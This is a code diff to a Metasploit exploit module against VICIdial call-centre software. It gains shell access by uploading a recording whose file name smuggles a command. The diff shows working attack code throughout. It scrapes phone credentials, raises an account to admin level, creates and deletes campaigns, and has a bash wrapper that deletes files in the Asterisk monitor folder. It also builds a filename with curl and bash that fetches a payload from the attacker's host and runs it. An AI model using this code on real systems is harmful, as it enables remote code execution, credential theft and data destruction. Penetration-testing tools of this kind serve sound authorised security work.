@@ -22,7 +22,7 @@ def initialize(info = {})
22
22
shell commands starting from an unauthenticated perspective.
23
23
} ,
24
24
'Author' => [
25
- 'Valentin Lobstein' , # Metasploit Module
25
+ 'Valentin Lobstein' , # Metasploit Module
26
26
'Jaggar Henry of KoreLogic, Inc.' # Vulnerability Discovery
27
27
] ,
28
28
'License' => MSF_LICENSE ,
@@ -64,7 +64,7 @@ def initialize(info = {})
64
64
65
65
def check
66
66
res = send_request_cgi ( {
67
- 'uri' => normalize_uri ( target_uri . path , 'agc' , 'vicidial.php' ) ,
67
+ 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'agc' , 'vicidial.php' ) ,
68
68
'method' => 'GET'
69
69
} )
70
70
@@ -124,7 +124,10 @@ def exploit
124
124
# Insert a malicious recording that contains the payload, using the agent session
125
125
insert_malicious_recording ( request_headers , session_name , session_id , recording_extension )
126
126
127
- # Wait for the cron job to trigger the malicious payload and establish a connection
127
+ # Clean up by deleting the campaign created earlier
128
+ delete_dummy_campaign ( target_uri , request_headers , fake_campaign_id )
129
+
130
+ # Start the cron job to execute the malicious payload, but don't block the script
128
131
wait_for_cron_job
129
132
end
130
133
@@ -134,13 +137,21 @@ def primer
134
137
end
135
138
136
139
def on_request_uri_payload ( cli , request )
137
- handle_request ( cli , request , payload . encoded )
140
+ bash_command = <<-BASH
141
+ #!/bin/bash
142
+ cd /var/spool/asterisk/monitor/
143
+ find . -maxdepth 1 -type f -delete
144
+ #{ payload . encoded }
145
+ BASH
146
+
147
+ handle_request ( cli , request , bash_command )
138
148
end
139
149
140
150
def handle_request ( cli , request , response_payload )
141
- print_status ( "Received request at: #{ request . uri } , Client Address: #{ cli . peerhost } " )
151
+ print_status ( "Received request at: #{ request . uri } - Client Address: #{ cli . peerhost } " )
142
152
143
- if request . uri == '/'
153
+ case request . uri
154
+ when '/'
144
155
print_status ( "Sending response to #{ cli . peerhost } for /" )
145
156
send_response ( cli , response_payload )
146
157
else
@@ -149,6 +160,19 @@ def handle_request(cli, request, response_payload)
149
160
end
150
161
end
151
162
163
+ def delete_dummy_campaign ( target_uri , request_headers , campaign_id )
164
+ print_status ( "Deleting dummy campaign with ID: #{ campaign_id } " )
165
+
166
+ res = send_request_cgi ( {
167
+ 'uri' => normalize_uri ( target_uri , 'vicidial' , 'admin.php' ) ,
168
+ 'method' => 'GET' ,
169
+ 'vars_get' => { 'ADD' => '61' , 'campaign_id' => campaign_id , 'CoNfIrM' => 'YES' } ,
170
+ 'headers' => request_headers
171
+ } )
172
+
173
+ res &.code == 200 ? print_good ( "Campaign #{ campaign_id } deleted successfully." ) : print_error ( "Failed to delete campaign #{ campaign_id } ." )
174
+ end
175
+
152
176
def authenticate_admin
153
177
username = datastore [ 'USERNAME' ]
154
178
password = datastore [ 'PASSWORD' ]
@@ -169,19 +193,19 @@ def authenticate_admin
169
193
'keep_cookies' => true
170
194
)
171
195
172
- unless res &.code == 200
173
- fail_with ( Failure ::UnexpectedReply , 'Failed to authenticate with credentials. Maybe hashing is enabled?' )
174
- end
196
+ fail_with ( Failure ::UnexpectedReply , 'Failed to authenticate with credentials. Maybe hashing is enabled?' ) unless res &.code == 200
175
197
176
198
print_good ( "Authenticated successfully as user '#{ username } '" )
177
199
[ target_uri , request_headers ]
178
200
end
179
201
180
202
def update_user_settings ( target_uri , request_headers )
203
+ faker = Faker ::Internet
204
+
181
205
user_settings_body = {
182
206
'ADD' => '4A' , 'custom_fields_modify' => '0' , 'user' => datastore [ 'USERNAME' ] , 'DB' => '0' ,
183
- 'pass' => datastore [ 'PASSWORD' ] , 'force_change_password' => 'N' , 'full_name' => 'KoreLogic' ,
184
- 'user_level' => '9' , 'user_group' => 'ADMIN' , 'phone_login' => 'KoreLogic' , 'phone_pass' => 'KoreLogic' ,
207
+ 'pass' => datastore [ 'PASSWORD' ] , 'force_change_password' => 'N' , 'full_name' => Faker :: Name . name ,
208
+ 'user_level' => '9' , 'user_group' => 'ADMIN' , 'phone_login' => faker . username , 'phone_pass' => faker . password ,
185
209
'active' => 'Y' , 'user_new_lead_limit' => '-1' , 'agent_choose_ingroups' => '1' ,
186
210
'agent_choose_blended' => '1' , 'hotkeys_active' => '0' , 'scheduled_callbacks' => '1' ,
187
211
'agentonly_callbacks' => '0' , 'next_dial_my_callbacks' => 'NOT_ACTIVE' , 'agentcall_manual' => '0' ,
@@ -286,7 +310,7 @@ def create_dummy_campaign(target_uri, request_headers)
286
310
'allow_closers' => 'Y' ,
287
311
'hopper_level' => '1' ,
288
312
'next_agent_call' => 'random' ,
289
- 'local_call_time' => '12am-11pm ' ,
313
+ 'local_call_time' => '12am-12am ' ,
290
314
'get_call_launch' => 'NONE' ,
291
315
'SUBMIT' => 'SUBMIT'
292
316
}
@@ -378,7 +402,7 @@ def fetch_phone_credentials(target_uri, request_headers)
378
402
phone_password = res . get_html_document . at_css ( 'input[name="pass"]' ) &.get_attribute ( 'value' )
379
403
recording_extension = res . get_html_document . at_css ( 'input[name="recording_exten"]' ) &.get_attribute ( 'value' )
380
404
381
- if phone_extension && phone_password && recording_extension
405
+ if [ phone_extension , phone_password , recording_extension ] . all?
382
406
print_good ( "Found phone credentials: Extension=#{ phone_extension } , Password=#{ phone_password } , Recording Extension=#{ recording_extension } " )
383
407
else
384
408
fail_with ( Failure ::NotFound , 'Failed to retrieve one or more phone credentials from the page' )
@@ -407,13 +431,15 @@ def agent_portal_authentication(request_headers, phone_extension, phone_password
407
431
mgr_login_name = doc . at_css ( 'input[name^="MGR_login"]' ) &.get_attribute ( 'name' )
408
432
mgr_pass_name = doc . at_css ( 'input[name^="MGR_pass"]' ) &.get_attribute ( 'name' )
409
433
410
- if mgr_login_name . nil? || mgr_pass_name . nil?
411
- today_date = Time . now . strftime ( '%Y%m%d' )
412
- mgr_login_name = "MGR_login#{ today_date } "
413
- mgr_pass_name = "MGR_pass#{ today_date } "
414
- print_status ( "Constructed dynamic field names manually: #{ mgr_login_name } , #{ mgr_pass_name } " )
415
- else
434
+ if mgr_login_name && mgr_pass_name
416
435
print_good ( "Retrieved dynamic field names: #{ mgr_login_name } , #{ mgr_pass_name } " )
436
+ else
437
+ begin
438
+ today_date = Time . now . strftime ( '%Y%m%d' )
439
+ mgr_login_name = "MGR_login#{ today_date } "
440
+ mgr_pass_name = "MGR_pass#{ today_date } "
441
+ print_status ( "Constructed dynamic field names manually: #{ mgr_login_name } , #{ mgr_pass_name } " )
442
+ end
417
443
end
418
444
419
445
manager_login_body = {
@@ -479,7 +505,6 @@ def insert_malicious_recording(request_headers, session_name, session_id, record
479
505
uri = get_uri . gsub ( %r{^https?://} , '' ) . chomp ( '/' )
480
506
random_filename = ".#{ Rex ::Text . rand_text_alphanumeric ( rand ( 3 ..5 ) ) } "
481
507
malicious_filename = "$(curl$IFS-k$IFS@#{ uri } $IFS-o$IFS#{ random_filename } &&bash$IFS#{ random_filename } )"
482
-
483
508
print_status ( "Generated malicious command: #{ malicious_filename } " )
484
509
485
510
record1_body = {
0 commit comments